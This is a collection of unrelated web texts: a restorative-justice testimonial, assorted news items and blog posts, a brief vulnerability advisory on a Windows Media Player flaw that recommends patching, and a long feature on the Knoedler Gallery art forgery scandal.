asked was I Ok!
2009 brought yet another incident that saw us as not involved yet involved! My daughter was visiting some friends when one of them was called by an ex-boyfriend. They had some belongings that needed to be sorted out. He wanted her to go with him to sort out these things .She was reluctant but went with him. My daughter saw her go with him. The girl never returned and was found dead the next day. The guy, we learnt, was from a broken home and had spent his life in and out of foster care. The terrible cycle of police stations and solicitors began again. She was only seventeen so I had to go with her as support. No one cares about the people who get caught up in criminal activity. A counsellor didn’t help. She did not handle all this very well. She took to going out with so called friends and drinking which led to bad choices. She became pregnant with the father wanting nothing to do with the child. His answer was abortion! She however did not want to take this option and went ahead and had the child. He is the delight of our lives! He arrived December 2011 and in March 2012 both cases went to court at almost the same time-just a week apart. It is hard to ask your boss for time off as you’ve been summonsed for a murder trial but to have two summonses in a week was bizarre. It sounds like we hang in the wrong parts of society but we are just normal family people who belong to a church and go to work.
When I heard about the Sycamore Tree Project, I wondered, do these people want to hear our side of the story? Do they care or are they just doing it to fill in time? After the very first session I felt at ease as they were just as scared to come into the room as us. They wondered, were we going to judge them? Were we going to yell at them and vent our anger? The facilitator was great and gave us some ice breaker activities which put us all at ease and put us all on the same level. We began to share our stories even on day one. I began to realise that many were like the two that I had come to know and had made bad choices after living childhoods without love. Drugs and alcohol seemed to be part of the majority of the stories. I believe there are consequences to our actions and found that these men also believed that as they did their various amounts of time in jail.
Over the weeks I felt compassion for these men regardless of what they were in for- whether it was drugs, robbery or murder they were all people like you and me. They also gave the victims respect and sat and listened to our stories which were all very varied. Many tears were shed on both sides – the victims and the offenders. I always knew that there were stories that were very traumatic and that I have not suffered like some people. I was more part of the ripple effect however these events have impacted my life. I am grateful for having the opportunity to do the Sycamore Tree Project and know that I have forgiveness in my heart for the people who have affected my life through their criminal actions. I also have compassion for the men we met through STP and believe that having done this course they have learnt that their actions impact a lot of people. I believe that they will leave jail as better men with compassion for others. I would recommend that if you are considering doing STP then do it as you will find a place to be heard and it will help in your path towards healing.
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Just as the world's fanciest coffee is made from the partially digested coffee beans plucked from a Filipino tree rodent's poop, the world's fanciest tea will soon be created from the dung of panda bears.
The tea is a passion project of a Sichuan University lecturer named An Yashi, who says it will cost $80,000 per kilogram when it hits markets. He says it will have antioxidant properties similar to those of green tea:
"Pandas have a very poor digestive system and only absorb about 30 percent of everything they eat. That means their excrement is rich in fibres and nutrients," he told Chinese website Scol.com.cn.
"It has a mature, nutty taste and a very distinctive aroma while it's brewing."
In the distant future, humans will form caste systems based on the rareness of the animals whose poop we eat. The poor will eat rat poop like cereal; the rich will dine on nothing but the excrement of unicorns.
In other news, turns out panda poop looks like stuffed grape leaves from the Greek deli near my house. Previous panda poop products include paper made from the beast's fiber-rich shit. [SBS, Neatorama]
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Unlike past scenarios, job interviews have become harder and harder. Employers have an abundance of very qualified applicants, many of them working with interview coaches to elevate their interviewing skills. The outcome is that it raises the bar for everyone. There are many books available to job seekers to read and brush up on interviewing skills, but the problem associated with that is that many of those books are old and reflect the thinking of the era in which they were written.
Employers have become sophisticated in the area of interviewing candidates. In the past, after snail mailing a cover letter and résumé to a target company, a job applicant would receive a phone call invitation for an interview with the hiring manager. Nowadays there’s very little personal interaction at the front end of the process. The résumé submittal is electronic and goes directly into a database. The résumé gets buried there until its resurrection via the appropriate keywords a recruiter is interested in. Then comes the initial screening-out phone interview, and only if that goes well is a candidate invited to a series of interviews with often large numbers of people. There are a number of reasons for these changes.
Today’s employers react to the current economic condition by focusing on higher productivity through the application of various technologies, new and better software, and outsourcing in order to reduce staff and associated staff costs such as office space, pensions, and health care.
The hiring process today is also significantly more selective than in the past. Companies need people who can quickly learn constantly new technologies, can adapt to continuous changes, can reinvent their own jobs, and can function while changes occur at faster and faster rates.
When employers select new employees, they’re looking for those types who can provide solutions resulting in increased efficiency and, at the same time, reduced costs. Otherwise, jobs will move offshore.
Nobody’s job is safe anymore. The past paradigm of building a solid career is no longer valid. People out of work need information and intelligence about growth opportunities and must adapt their skills to meet employers’ requirements. This is a challenging proposition for job seekers—and especially for those who are more advanced in age than other job seekers. Waiting for things to happen is often futile and certainly demoralizing. Career counselors can be of great assistance, but the majority of the burden is on the job seeker.
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Vietnamese monk Thich Tri Luc’s disappearance in Cambodia last month has shocked human rights workers, but the religious dissident’s case follows a long string of alleged forced deportations arranged between the Cambodian and Vietnamese governments.
After fleeing Vietnam, Thich Tri Luc was staying in a Phnom Penh guest house until July 25, when he went missing after going to meet an unknown man for coffee, Buddhist officials claim.
“He may have been kidnapped, repatriated, or suffered an even worse fate,” the Paris-based International Buddhist Information Bureau said in a statement Friday.
Thich Tri Luc is a well-known member of the banned Unified Buddhist Church of Vietnam and has been jailed in the past by Vietnamese authorities.
“It’s the habitual approach to get these guys out. It’s been going on for awhile,” said one human rights worker in Phnom Penh.
It is known that several members of the anti-Hanoi Free Vietnam movement have been arrested in Cambodia and reportedly sent back to Vietnam, despite the Cambodian government’s efforts to do so quietly.
More recently, rights workers have accused Cambodian authorities of arresting and forcibly deporting as many as 550 Montagnard asylum seekers fleeing unrest in Vietnam’s Central Highlands. But Thich Tri Luc’s case is even more “outrageous,” in the words of one observer, because the UN High Commissioner for Refugees had granted the monk refugee status and the almost certain prospect of resettlement before he went missing.
The UNHCR has refused to comment on the case. But international organizations, including Human Rights Watch, are pressing for a full investigation.
“There is urgent concern for the safety of Thich Tri Luc. He is at serious risk of being deported to Vietnam, where he is at great risk of persecution and imprisonment,” said Mike Jendrzejczyk, the Washington director of Human Rights Watch Asia.
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Stuart R. Gaffin
Stuart Gaffin is a Research Scientist at the Center for Climate Systems Research, Columbia University. Prior to joining Columbia in 2001, he was a senior scientist in the Atmosphere Program at the Environmental Defense Fund, NYC from 1989. His Ph.D. was in Atmospheric and Paleoclimate Studies from the former Earth Systems Group at New York University.
His current and recent areas of research include: (i) the urban heat island effect and the role of high-albedo and urban vegetation/green infrastructure (especially green roofs) as mitigation strategies; (ii) applications of New York city regional climate impacts including temperature, precipitation, extreme events and sea level rise; (iii) greenhouse gas emissions scenarios and their relation to regional population changes and (iv) downscaling and high-resolution projection techniques for socio-economic projections including population and GDP growth.
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Reforms are needed to ensure the sustainability of local government finances, including an urgent solution to the funding of social care in England, the House of Commons’ Housing, Communities and Local Government Committee has said in a report.
The report ‘Local authority financial sustainability and the section 114 regime’ recognises councils have faced a variety of budget pressures in recent years.
This includes increased demand for services, especially social care, and acknowledges that these financial challenges have been exacerbated by Covid-19.
The report makes a range of recommendations, including that the government should:
- Urgently reform the funding of social care in England.
- Implement the Fair Funding Review and business rates reset as soon as possible.
- Implement changes to council tax and consider wider options for reform.
- Widen the funding base of local government to make it less vulnerable to shocks, such as the Covid-19 pandemic, including by giving councils more flexibility over local taxes and other revenue-raising powers.
Commenting, Chair of the Housing, Communities and Local Government Committee, Clive Betts said:
“Council budgets have been stretched for several years and the social care funding crisis is at the heart of financial pressures for many councils.
“A solution to social care funding would go a long way to restoring local government finances.
“Covid-19 has also hit councils hard and while the Government responded to the pandemic with substantial financial support, they now need to come forward with a long-term sustainable way of funding councils and the services they provide.
“The system of local government finance should enable councils to increase revenue by growing their tax base while protecting those councils who are less able to do this, through no fault of their own.
“To this end, the government should implement the Fair Funding Review and business rates reset as soon as possible and allow councils to retain 75% of business rates from 2022.
“So that this represents a net increase in funding, we urge the government not to impose commensurate cuts to grant funding and the additional funding should then be put towards equalisation between councils.
“In the longer-term, the government should consider options for wider reform of council tax and business rates, including possibly replacing them with a proportional property tax.”
The report also makes recommendations on local government financial audit and the Section 114 regime.
Northamptonshire (2018), Croydon (2020) and Slough (2021) issued Section 114 notices, essentially declaring that they had run out of money and had to approach the Ministry of Housing, Communities and Local Government for financial assistance.
The report expresses concern that the Section 114 regime may be hindering good financial management.
It recommends that the government introduce an intermediary ‘yellow card’ measure that a Chief Financial Officer could apply to force a council to confront the seriousness of its financial position much sooner.
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Fam Pract Manag. 2008 Nov-Dec;15(9):16.
“Vaccination Management: Is Your Practice on Target?” [September/October 2008] by Kent Moore, Cindy Hughes, CPC, and Trevor Stone points to an important issue: How to protect patients from disease through vaccination and, at the same time, control the financial risks associated with providing recommended immunizations. The authors did a marvelous job in outlining various strategies that are helpful for family physicians and staff members.
From the scientific standpoint, proper acquisition, handling, storage and maintenance, as well as inoculation, documentation and biosecurity of vaccines are the most important factors for a successful vaccination program. Contamination, breakdown of vaccine components and incorrect inoculation make vaccination programs not only useless but also dangerous for patients. I suggest having not only one staff member but two trained in the immunization process because of the negative impact that a solo coordinator's unexpected absence might have on the program. Furthermore, publications such as Understanding Vaccines: What They Are and How They Work from the National Institutes of Health (available at http://www3.niaid.nih.gov/topics/vaccines/pdf/undvacc.pdf) can be helpful for training staff members.
WE WANT TO HEAR FROM YOU
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Copyright © 2008 by the American Academy of Family Physicians.
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Microsoft Windows Media Player contains a stack-based buffer overflow vulnerability that may allow a remote, unauthenticated attacker to execute arbitrary code on a vulnerable system.
Windows Media Player
Windows Media Player is a multimedia application that comes with Microsoft Windows.
For more information refer to Microsoft Security Bulletin MS06-024
A remote, unauthenticated attacker may be able to execute arbitrary code. If the attacked user is running with administrative privileges, the attacker could take complete control of an affected system.
Apply a patch from Microsoft
For a list of workarounds refer to Microsoft Security Bulletin MS06-024.
This vulnerability was reported in Microsoft Security Bulletin MS06-024. Microsoft credits Greg MacManus of iDEFENSE with providing information related to this vulnerability.
This document was written by Jeff Gennari
|Date First Published:||2006-06-13|
|Date Last Updated:||2006-06-13 21:22 UTC|
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Peter, Paul and Mary
- Posted by Andrew Bergen
- On March 12, 2019
- Board Agendas, Future Focus
The work patterns for my wife and I allow us to travel to the office together in the morning. We park underground at her office complex and, from there, I walk to my office. The parking underground sure is nice in winter!
When we first started this travel pattern, in the middle of winter, we noticed there were three pigeons always hanging out in the parking garage. We have affectionately named them Peter, Paul and Mary. For a while, I thought it was quite intelligent for them to have found a warmer home for the winter months. Yet, when spring arrived, Peter, Paul and Mary continued to make their living inside. They remained there through the summer and into the next winter as well. They had grown quite comfortable living in the shelter of the garage. I was saddened to see this, as they have the potential to be flying through the warm, blue skies in the spring, summer and fall. I would imagine they have grown so comfortable in their garage home that venturing past it doesn’t even cross their minds.
Some years ago, I heard a conference speaker say that she had noticed a pattern in some of the organizations she was working with. She took a school district as an example and explained: “In a school district, the janitor is thinking ahead through his or her day and maybe even the week ahead: what the next task will be, how to organize the work so that the day and week end safely and productively. The maintenance supervisor, in turn, is looking ahead for the next 30 to 90 days. What inventory needs to be ordered? What are the larger projects in the area that need to be scheduled and coordinated? The district Assistant Superintendent in charge of facilities is likely looking ahead 1 – 3 years. What are the larger renewal plans that need to be managed and maintained? How will district resources be used best to achieve an overall healthy district use of facilities? The Superintendent then is likely thinking 5 or more years into the future with larger strategic initiatives for student outcomes. Then, you get to the board table – and they are often looking at last month’s financial statements.”
Isn’t that somewhat ironic? Should the board not be the one who is way out in front of the organization assessing what results must be achieved 5 or 10 (or more) years in the future?
I’ve sat on boards similar to that described by the presenter – and even led meetings in that way. I’ve also had the good privilege of seeing many boards who have their eyes on the future thinking about what long-term results would make the existence of the organization worthwhile.
Where is your board spending its time? As you read through your agenda, I’d encourage you to assess what portion of meeting time is spent on the past? Items like Old Business, Business Arising from the Minutes, Reports from staff and board members are all likely to be focused on matters that have already occurred. Even monitoring CEO and board performance is past focused (albeit necessary). A future focused board will have its agenda weighted more on matters that discuss the results the organization should be producing (Ends Policies), or on education that helps the board think about what future scenarios might be present.
Boards that live in the past may be at risk of the same lifestyle as Peter, Paul and Mary – an existence, but far from their potential.
The Governance Coach has examples of agendas that are future focused. We would be happy to chat with you about where you are at and help you think through where you would like to be.
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PUTRAJAYA, Sept 18 — More than 600 healthcare workers in Malaysia have been infected with COVID-19 since February until yesterday, Health Minister Datuk Seri Dr Adham Baba said.
Of those, 406 were government hospital workers while the rest were attached to private and university hospitals.
Dr Adham said among the measures taken to lift the spirits of MOH workers after contracting the virus was to provide them with psychosocial support through the ministry’s Crisis Preparedness and Response Centre (CPRC).
“Those affected, besides having sessions with psychiatrists, will continue with treatment. Also, they will not be allowed to treat COVID-19 patients any longer,” he told the media after launching the “Putrajaya In Orange” event in conjunction with World Patient Safety Day 2020 here yesterday.
He said among the concerns raised by MOH workers via the ministry’s psychosocial support hotline include stress from being away from the family, having to comply with strict standard operating procedures (SOPs), exhaustion, and issues concerning the COVID-19 special allowance.
On the World Patient Safety Day 2020 celebration, three buildings and two bridges here will be lit in orange for four nights beginning tonight, namely the Prime Minister’s Office, the Communications and Multimedia Ministry, Zenith Hotel and the Seri Warisan and Seri Saujana bridges.
Dr Adham said other buildings around Putrajaya will be lit with Festive Mode facade lighting in various tones and orange spectrum.
“This is a symbol of solidarity and commitment for the safety of patients, and also a sign of appreciation for all healthcare workers for their sacrifices in ensuring the safety of patients, especially during the COVID-19 pandemic,” he said.
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Criminal Evidence and Human Rights
Bisher € 98,49
Sofort lieferbar (Download)
BeschreibungCriminal procedure in the common law world is being recast in the image of human rights. The cumulative impact of human rights laws, both international and domestic, presages a revolution in common law procedural traditions. Comprising 16 essays plus the editors' thematic introduction, this volume explores various aspects of the "human rights revolution" in criminal evidence and procedure in Australia, Canada, England and Wales, Hong Kong, Malaysia, New Zealand, Northern Ireland, the Republic of Ireland, Singapore, Scotland, South Africa and the USA. The contributors provide expert evaluations of their own domestic law and practice with frequent reference to comparative experiences in other jurisdictions. Some essays focus on specific topics, such as evidence obtained by torture, the presumption of innocence, hearsay, the privilege against self-incrimination, and "rape shield" laws. Others seek to draw more general lessons about the context of law reform, the epistemic demands of the right to a fair trial, the domestic impact of supra-national legal standards (especially the ECHR), and the scope for reimagining common law procedures through the medium of human rights.This edited collection showcases the latest theoretically informed, methodologically astute and doctrinally rigorous scholarship in criminal procedure and evidence, human rights and comparative law, and will be a major addition to the literature in all of these fields.
Untertitel: Reimagining Common Law Procedural Traditions. Sprache: Englisch.
Verlag: Hart Publishing Ltd
Erscheinungsdatum: Oktober 2012
Format: pdf eBook
Kopierschutz: Adobe DRM
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“Hereinafter, The Painting”
I saw the fake one first, years ago, printed out in a report tacked on to a court filing out of New York City. There were two pictures on the first page, two sides of a painting, back and front. On the left, two rectangles, black over crimson on a background of lighter red. On the right, a wooden stretcher bisected by a crossbar. The edges of a canvas, folded over and stapled, were visible along the edge. There was a name on the back, too, and a date, written in fuzzy, impasto caps: “MARK ROTHKO/1956.”
It was the spring of 2013. I was thirty-one years old and had just moved in with the woman I would marry. I had come to Toronto two years earlier for a minimum wage magazine job at the tail end of a depression that had, for the fourth or fifth time in my twenties, scrambled my life and left me starting from what felt like scratch. Every story seemed like a last opportunity then, a last chance to prove something to myself, about who I could be and what I could do with my life.
Looking at that report, I didn’t know that it would be a story, though I thought it might be. I certainly didn’t think I’d be puzzling over it for the next eight years. It was written by a kind of fine art scientist named James Martin. It described his analysis of a 50-inch by 40-inch oil painting, Untitled, 1956. “Hereinafter” the report said, “the “Painting”.”
It was ten pages long. It broke down primers and pigments and binders. It looked at crossbar marks and the history of paint. It came to a stark conclusion. The painting, which the oldest art gallery in New York had sold to a Gucci magnate for $8.3 million, was a fraud. It wasn’t a Rothko. He didn’t paint it. Not “in 1956 or any other date.”
In November 2011, not long after he joined the New York Observer, a newspaper then owned by a thirty-year-old Jared Kushner, Michael H. Miller, an art reporter sitting on about $100,000 in student debt, received a short press release from the offices of M. Knoedler & Co., a 146-year-old art gallery on the Upper East Side. The note was barely three sentences long. It announced that, effective immediately, the gallery, which was older than the Metropolitan Museum of Art and had survived the Civil War and the Great Depression, would permanently close. The news, and the manner of its delivery, came as a shock in the New York art world and even inside the gallery itself. “It really seemed from the outside…like people just showed up that morning and had no idea that they were going to close,” Miller said.
Knoedler wasn’t the largest or the wealthiest gallery in New York. It wasn’t Gagosian, or Pace. But it was a fixture, in the city and the scene. “It was absolutely top tier, but a little bit like a dowager lady,” said Pepe Karmel, an art historian at NYU. Knoedler had been the gallery of choice for the robber barons of the 1920s. It exhibited and sold works by the likes of Edgar Degas and Édouard Manet. “Everything they did was first rate and top drawer,” Karmel, said. “It was a key part of New York City history.”
That’s what made the sudden closure so strange. The recession was over. The high-end art market was booming. The very rich, the only customers who really matter in art, were doing fine. And in the space of three sentences, with no forewarning, in the middle of an exhibition, the oldest, most storied gallery in the city was done. “A lot of galleries at that time were closing, but nothing of the stature of Knoedler. That seemed kind of impossible,” Miller said. “It was clear that there was something fishy there.”
What struck me first, when I finally saw the real thing, was the scale: a massive plane of orange and red that filled my field of vision, an empire of rectangles and colours on a Dallas wall. At the edges, in between the blocks, were whole border worlds of porous fades. Everything bled into everything else. Nothing was contained. I had always known art as something you approached, something you peered at and “hmm’d.” The Rothko wasn’t like that. It loomed. It leaned into me. It occupied space. “It’s not easy,” Rothko’s son, Christopher, told me years later. “He really asks a lot of you. And the more you’re willing to put in, the more you’re going to get out.”
In the fall of 2004, Domenico De Sole, a fashion kingpin who ran Gucci for ten years and later co-founded Tom Ford, approached the Knoedler Gallery with his wife Eleanor. De Sole, who later became the chairman of Sotheby’s auction house, was, along with his wife, a noted collector of what might be considered the art of the regular rich—very expensive, first-class work that is a level below the most famous names.
The De Soles went to Knoedler because they were interested in acquiring a work by Sean Scully, an Irish-American abstract artist known for his large, colourful images of bars and squares. Knoedler didn’t have any Scullys; the gallery wasn’t doing well with living artists. But Ann Freedman, Knoedler’s president, did offer to show the De Soles something better. In her office, she said, she had a newly discovered work by Mark Rothko, one of Scully’s forbearers and perhaps the most acclaimed American artist of the 20th century.
By any rational measure, the De Soles were and are very rich. But that doesn’t mean they’re necessarily Mark Rothko rich. A single Rothko sold at auction in 2007 for $72.8 million. The record price paid for a Scully was about $1.7 million. The Rothko Freedman showed the De Soles that day wasn’t prime, exactly. It was on the smaller side, about 4 feet by 3.5 feet. But it was painted in 1956, in the middle of Rothko’s classic period. It was an arresting crimson, black and red. It was on canvas and it was in impeccable condition. Given all that, the multimillion dollar price Knoedler offered was something of a steal.
The next time I saw a Rothko, a real Rothko, was in Detroit in 2015. It was a seven-and-a-half-foot canvas of floating colours, with blocks of brown and orange that seemed somehow superimposed on the background in 3D. The year before I saw it, Orange, Brown, 1963 was nearly sold off, along with the rest of Detroit’s municipal art collection, after the city declared bankruptcy. For a time, the people of Detroit faced a choice: keep their public art, including works by Van Gogh, Matisse and Diego Rivera, or salvage their municipal pension system. “Finally, I want to ask you a question that you were already asked—to give you another shot at it,” a judge asked Detroit’s lawyers in a bankruptcy hearing that summer: “Why not monetize the art?”
Michael Miller, the art reporter who covered Knoedler’s sudden closure, graduated from New York University with two degrees in English Literature in 2010, two years into the financial crisis, and eighteen months after his parents—who had cosigned his student loans—lost their jobs and eventually their home. For Miller and his family, it was a savage time, as it was for many Americans. His parents struggled to find and keep work. His mother was diagnosed with an aggressive form of breast cancer. Every month, he strained to make loan payments, pay his rent and still have enough money left over for a carton of eggs and a can of beans—“my sustenance during the first lean year of this mess,” he wrote in 2018.
At the same time, even as he wondered seriously if he wouldn’t be better off dead than this deeply in debt, Miller was climbing up in the small world of New York arts writers, dealing with the gallerists, brokers and billionaires fuelling the art market’s lunatic rise. The discord was never lost on him. “It was really during the recession, which was a terrible time for everyone. For me personally, it was terrible,” he said. “And there was a certain indignity to working for Jared Kushner for $30,000 a year.”
It’s fair to say that when the De Soles left Knoedler that day, they did not expect to get conned. The art world may be full of exaggeration and sketchy deals. But the Knoedler name had an old-world heft. Its endurance alone spoke volumes. Nothing too shady could have survived that long.
Freedman’s official story was that the Rothko had come to the gallery by way of a mysterious Swiss-Mexican collector who had recently died and left his art to his children. She wouldn’t identify the collector—in internal Knoedler correspondence, he was known as “Mr. X,” “Secret Santa” and “the goose that laid the golden egg”—but she told the De Soles there was no question about the painting’s authenticity. It had been “viewed” by leading art experts, she said, and was set to be included in an updated version of Rothko’s catalogue raisonné, the definitive inventory of his works on canvas.
The De Soles agreed to buy the painting for $8.3 million. It was the most they had ever spent on a single work of art. After the purchase went through, they lent it to a Swiss museum. Then, once it was returned, they hung it on the wall, under glass, in their home on Hilton Head Island in South Carolina. It remained there for the next six-and-a-half years. It was still there, hanging near two Twomblys and an Ellsworth Kelly, when the De Soles read about Knoedler’s closure in The New York Times.
The townhouse that once housed the Knoedler Gallery, at 19 East 70th Street in Manhattan, is half a block in from Central Park and ten blocks south of the Met. In 2011, not long after the gallery closed, its long-time owner, Michael Hammer, the grandson of industrialist Armand Hammer, (and the father of the actor Armie Hammer) sold the building at the cut-rate price of $31 million. The building was flipped again in 2013 for $35 million. Then, in 2014, Leon Black, a private equity billionaire known in part for his ties to Jeffrey Epstein, bought the space for $51 million.
When I stood outside the townhouse in the fall of 2019, a temporary construction wall blocked the exterior where the Knoedler façade had stood for almost forty years. Inside, construction lamps lit what was left of the ground floor. Black, who Bloomberg once called “the most feared man in the most aggressive realm of finance” was renovating it as a private home.
A leveraged buyout specialist, Black made much of his money acquiring companies, slashing costs and reaping fees. But he’s also a noted art collector. He was, until last year, the chairman of the Museum of Modern Art; in 2012, he bought Munch’s The Scream in a private sale for $119.9 million. Between the time Epstein was convicted—of soliciting a child for prostitution—in 2008 and the time he committed suicide in 2019, Black paid him more than $50 million, according to The New York Times. Among other tasks, Epstein helped Black manage his $1 billion art collection.
A few blocks south of the old Knoedler townhouse, beneath an upscale Italian sandwich shop and just off Madison Avenue, a silver nameplate sits bolted on to a large, wooden door. There are two words etched on to the plate. Mashed together they form a stylized brand: FreedmanArt. Anne Freedman left Knoedler more than a year before the gallery’s sudden collapse. But for years she had managed Knoedler’s most important, and most lucrative, file: The mysterious masterworks of the late Mr. X.
The so-called “golden goose” paintings had come to Knoedler through an unlikely broker. A long-time gallery employee and art world gadfly had introduced Freedman to an obscure Long Island art dealer named Glafira Rosales. Rosales told Freedman she represented the heirs of a European businessman who had made a fortune after relocating to Mexico before World War II. Because of his business interests—he was in banking and industry—he travelled frequently to the United States. And over a period of decades beginning in the 1940s, he had acquired a small museum’s worth of paintings directly from the some of the most acclaimed American artists of the day.
The mystery millionaire—Freedman never learned his name—had died in the early 1990s. His heirs, a son and daughter, inherited his entire collection, which included works by Robert Motherwell, Willem de Kooning, Clyfford Still, and Barnett Newman. The son now splits his time between Mexico City and Zurich. He was interested in selling off his share of the collection, quietly and privately. Could Freedman help?
Indeed, she could. She never met the heir. She never learned his name. But for fourteen years, she bent the entire business of the gallery around his collection. Between 1994 and 2008, at Freedman’s direction, Knoedler bought dozens of paintings from Rosales and sold them on to a who’s who of global capitalism. Goldman Sachs executive Jack Levy bought a Pollock for $2 million. UFC mogul Frank Fertitta paid $7.2 million for a Rothko. Real estate investor Jay Shidler, the richest man in Hawaii, spent more than $3 million combined for a Krasner and a Motherwell.
Knoedler’s profits from the Golden Goose collection were massive. “[They] kept the gallery in business basically,” Miller said. In one case, Knoedler paid Rosales $80,000 for a Krasner then sold it on for $1 million. In another, Knoedler bought a Pollock for less than $1 million then sold it to a hedge fund manager for more than $15 million. All told, Knoedler pocketed over $60 million from the Rosales paintings before Freedman left the gallery in 2009.
For Freedman, Rosales had been like a creature out of a fine art fairy tale. “She was effectively a stranger who had never really sold art through that gallery or any other gallery before,” Miller said. “And she suddenly had this treasure trove of unheard-of masterpieces by the great artists of the 20th century.”
After I left Miller at The New York Times building in Manhattan, where he now works, I took the subway to Woodside, a neighbourhood in Queens. There, behind a small brick home, on a lot between two apartment buildings, I met the artist Zhang Hongtu in his studio. Zhang was born into a Muslim family in the Gansu province in 1943, six years before Mao founded Communist China. He studied art, survived the Cultural Revolution, and worked for years designing jewelry for export. “The funny thing was, at that time in China, nobody was allowed to wear jewellery,” he told me. “Jewellery [was] bourgeois.”
In 1982, Zhang emigrated to New York and enrolled in the Art Students League, the same school where Rothko had spent eight formative months in 1925. He found New York incredibly liberating. At the League, there was no one standing over his shoulder telling him: “You cannot do that. You can only do that.”
For the first time, he was able to follow his own instincts. He developed his own style. He became more political, more pop-y. In 1987, he drew a portrait of Mao on a Quaker Oats box. In 1989, after Tiananmen Square, he painted a parody of the Last Supper, with Mao’s head on every body, onto the ripped-out pages of Mao’s Little Red Book.
Still, well into his fifties, Zhang was living a double life in New York. By day, he worked a jackhammer, cutting stone on construction sites. At night, after a brief nap at the kitchen table, he painted and sculpted and worked on his art. That only began to change in the mid-90s. In 1994, Zhang sold The Last Banquet—the Mao parody—for $50,000. The next year, he was awarded a fellowship from the National Endowment for the Arts. Soon his older pieces began to climb in value. A gallery in Taiwan took him on full-time.
By the time I met him, Zhang had come to be considered one of the founders of China’s Political Pop art movement, the same one that made Ai Wei Wei famous. He wasn’t rich from his art. His work sold in the thousands, not millions. But he was comfortable. Sitting on folding chairs in his paint-flecked studio, he chatted happily about art and his career.
I wanted to know how he kept going all those years, through exile in the countryside, and making cheap jewelry, and hammering stone. “I was always very confident,” he said. “I always thought I was going to be a great artist, like Picasso.” Even in the hard years, he was happy. “This world doesn’t need so many Picassos,” he said. “But if you are a good artist, if you do your best, people will open to you.”
I had been in Dallas that day, the day I first saw a real Rothko, touring a fighter jet factory for a business magazine. The factory looked like a tipped-over skyscraper, long and low and drab on the outside. Inside, the jets, part of an overbudget trillion-dollar program, were arranged by construction stage. Every part of every one of them glowed a minty green. It was the strangest, most arresting shade. The jets all looked edible, or like toys. Later that summer, on a runway near Pensacola, Florida, one of them, valued at $232 million, burst into flames.
In the early 1980s, while Zhang was studying at the Art Students League, he befriended an older Chinese artist named Pei-Shen Qian. Qian was a gifted technical painter with a solid following in China, but like Zhang he initially struggled in America. “He was kind of frustrated because of the language problem, the connection problem,” Zhang told The New York Times. “He was not that happy.” By the early ’90s, he had fallen out of touch with his friends. For a time, he sold his work on the street.
But around the time Zhang’s own work began to sell, Qian’s career, too, took off. At some point in the late 1980s, he met a man named Jose Carlos Bergantinos Diaz in Manhattan. Over the next several decades, the Spaniard would buy dozens of paintings from Qian, for hundreds and eventually thousands of dollars each. By the mid-90s he was effectively Qian’s only customer.
The money was decent. “He wasn’t making millions,” Miller said. But he was finally something close to middle class. He bought a home, in Queens. He began to work full-time on his art. The only problem was, the art wasn’t his, not really. He was painting it. But it wasn’t being sold under his name.
When Bergantinos Diaz met Qian, he was in a relationship with Glafira Rosales. They opened an art business together. They had a daughter. Over a decade and a half, they made millions selling Qian’s art, mostly to the Knoedler Gallery. They bought him old canvases and old nails. They gave him old paints—though some weren’t quite old enough. They even took requests. When Freedman asked if the Golden Goose collection had any Pollocks, Qian painted two.
Together, Rosales and Bergantinos Diaz made $33 million off Qian’s work. For eight of the paintings, they paid Qian at total of $50,400. “I think he was a kind of patsy,” Miller said. “They just needed somebody to do it. And he did it.”
My intro into the Knoedler affair came in 2013, when I was working for a business magazine, the oldest business periodical in the country. (It stopped publishing print issues in 2016. For several years afterward it operated as little more than a Twitter account.) I’d read a story in The New York Times that mentioned the involvement of a Toronto theatre mogul named David Mirvish. Mirvish was and is a big name in Canadian business. In New York, his involvement was a curiosity. In Canada, it could be big news. (Such is the nature of Canadian reporting.)
I spent most of that year on and off trying to figure out what Mirvish’s interest had been in the paintings. But the more time I spent with depositions and financial statements, with transcripts and expert reports and carefully lawyered statements about how one judges exactly whether one thing or another is real, the more I found myself drawn to the pictures themselves. It was a trying time, personally. I felt stuck in the story, dug in without any clear way out to something revelatory.
But the more I blew deadlines and lay awake, feeling stress hives grow, the more I stared at the black-and-white copies of copies in those reports and wondered what they’d look like real. I spent days researching precise details about the art—details I knew I’d end up cutting from the final piece. I even went to the empty location of Mirvish’s own, long-closed, bookstore in Toronto to see if I could spy the fifty-foot Frank Stella he had once kept on the wall. The doors were locked. The windows were covered. I went right up to them but couldn’t see anything inside.
The Knoedler affair began to unravel, as things often do in the art world, quietly and out of the spotlight. (There is nothing the wealthy deplore more than a scene). In 2002, Levy, the Goldman Sachs executive, submitted the Pollock he purchased from Knoedler—a small greenish canvas painted with oil and enamel—to the International Foundation for Art Research (IFAR) for review. The IFAR report, when it came back, was scathing. The experts who viewed the painting found it “limp” and “formulaic.” The story Knoedler told about the painting’s history was “inconceivable,” “improbable,” and “difficult to believe.”
IFAR refused to certify the Pollock and Knoedler bought it back. The gallery then sold it on, in a complex deal, to Freedman, her husband and Mirvish. The brutal report didn’t stop Knoedler from selling more paintings from the collection. In fact, Freedman and Knoedler kept selling Golden Goose paintings—with a new backstory—for another seven years. They kept selling them after a second organization, the Dedalus Foundation, cast doubt on seven more paintings. (One Dedalus board member called them “laughable fakes”.) They wouldn’t stop selling them until a London money man’s untimely divorce threatened to push the whole thing into the public eye.
By the time I published my story on Mirvish, a complicated, business-heavy piece about art law, ownership and authentication, I was something close to obsessed with the art itself. I started hunting down real versions of all the fakes I’d seen—Motherwell’s Elegies, Newman’s shades of black on white, Rothko’s floating haze—in Dallas and Detroit, in Buffalo, Toronto and New York.
Working in Ottawa one day, I went to the Canadian National Gallery to see Rothko’s No. 16, 1957. I was months into a long feature about a far-right Canadian media figure at the time, part of a series of pieces I wrote in that period about the ugly wave of populist politics then sweeping the world. The Rothko outstripped anything I’d seen before: an almost 10-foot wall of colour and mood. I stood for so long in front of it that my legs began to twitch.
Canada’s National Gallery bought No. 16, 1957 in 1993 for C$1.8 million. The purchase caused incredible controversy. “I don’t know what the hell is wrong with these jerks,” one member of Canadian parliament said at the time. If sold today, the painting would probably gross something close to $100 million. Financially, it’s one of the best investments the country has ever made.
In the end, it wasn’t a Rothko that brought Knoedler down. It was another Pollock. Pierre Lagrange, a Belgian hedge fund manager once called London’s “zaniest financier,” bought a Golden Goose Pollock from Knoedler in 2007. (At least, he thought he bought it from Knoedler. At the time of the sale, the gallery actually co-owned the painting with Mirvish.) He kept the Pollock in his London home until, at the age of forty-eight, he accepted that he was gay, left his wife and precipitated a costly divorce.
